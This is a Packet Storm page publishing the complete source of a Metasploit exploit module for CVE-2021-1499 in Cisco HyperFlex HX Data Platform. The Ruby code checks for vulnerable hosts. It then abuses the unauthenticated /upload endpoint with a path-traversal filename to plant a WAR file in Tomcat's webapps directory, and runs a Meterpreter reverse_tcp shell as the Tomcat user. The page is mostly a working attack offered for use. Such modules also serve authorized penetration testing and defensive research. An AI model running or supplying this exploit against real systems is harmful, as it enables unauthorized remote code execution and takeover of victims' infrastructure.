what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution
Posted Jun 17, 2021
Authored by wvu, Mikhail Klyuchnikov, jheysel-r7, Nikita Abramov | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload vulnerability in Cisco HyperFlex HX Data Platform's /upload endpoint to upload and execute a payload as the Tomcat user.

tags | exploit, file upload
systems | cisco
advisories | CVE-2021-1499
SHA-256 | f5c93c1dbb7c46d018f80b02b7e8b65d92e05da4eaa8f1ef27222f385aefb954

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in
Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
execute a payload as the Tomcat user.
},
'Author' => [
'Nikita Abramov', # Discovery
'Mikhail Klyuchnikov', # Discovery
'wvu', # Research and guidance
'jheysel-r7' # Metasploit Module
],
'References' => [
['CVE', '2021-1499'], # HyperFlex HX File Upload
['URL', 'https://attackerkb.com/assessments/82738621-1114-4aba-990a-9ea007b05834']
],
'DisclosureDate' => '2021-05-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_JAVA],
'Privileged' => false, # Privesc left as an exercise for the reader
'Targets' => [
[
'Java Dropper',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Version' => Rex::Version.new('2.137'),
'Type' => :java_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('UPLOAD_FILE_NAME', [false, 'Choose a filename for the payload. (Default is random)', rand_text_alpha(rand(8..15))])
])
end

def check
# The homepage behind SSL indicates whether the endpoint is running Cisco HyperFlex
# Installer: <title>Hyperflex Installer</title>
# Installed Product: <title>Cisco HyperFlex Connect</title>
# Both the installer and installed product are vulnerable
res_ssl = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'rport' => 443,
'SSL' => true
)
unless res_ssl && res_ssl.body[%r{<title>(?:Hyperflex Installer|Cisco HyperFlex Connect)</title>}]
return Exploit::CheckCode::Safe
end

# The vulnerability, however, lies on the HTTP endpoint /upload.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'upload')
)
if res && res.code == 400 && res.body.include?('Apache Tomcat') && res.headers['Server'] && res.headers['Server'].include?('nginx')
return Exploit::CheckCode::Appears
elsif res && res.code == 404
return CheckCode::Safe
end

CheckCode::Unknown
end

def prepare_payload(app_base, jsp_name)
print_status('Preparing payload...')
war_payload = payload.encoded_war({ app_name: app_base, jsp_name: jsp_name }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, 'form-data; name="fname"')
post_data.add_part('/upload', nil, nil, 'form-data; name="uploadDir"')
post_data.add_part(war_payload,
'application/octet-stream', 'binary',
"form-data; name=\"#{jsp_name}\"; filename=\"../../../lib/tomcat7/webapps/#{fname}\"")
post_data
end

def upload_payload(post_data)
print_status('Uploading payload...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'upload'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body.to_s =~ /result.*filename:/
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
end

register_file_for_cleanup('/var/lib/tomcat7/crossdomain.xml.war')
register_file_for_cleanup('/var/lib/tomcat7/crossdomain.xml/')
end

def execute_payload(url)
print_status("Executing payload... calling: #{url}")
res = send_request_cgi(
'uri' => url,
'method' => 'GET'
)
if res && res.code == 200
print_good('Payload executed successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
end
end

def exploit
app_base = 'crossdomain.xml'
jsp_name = datastore['UPLOAD_FILE_NAME']
data = prepare_payload(app_base, jsp_name)
upload_payload(data)
sleep(datastore['WfsDelay'])
if target.name == 'Java Dropper'
url = normalize_uri(target_uri.path, app_base.to_s)
else
url = normalize_uri(target_uri.path, app_base.to_s, "#{jsp_name}.jsp")
end
execute_payload(url)
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close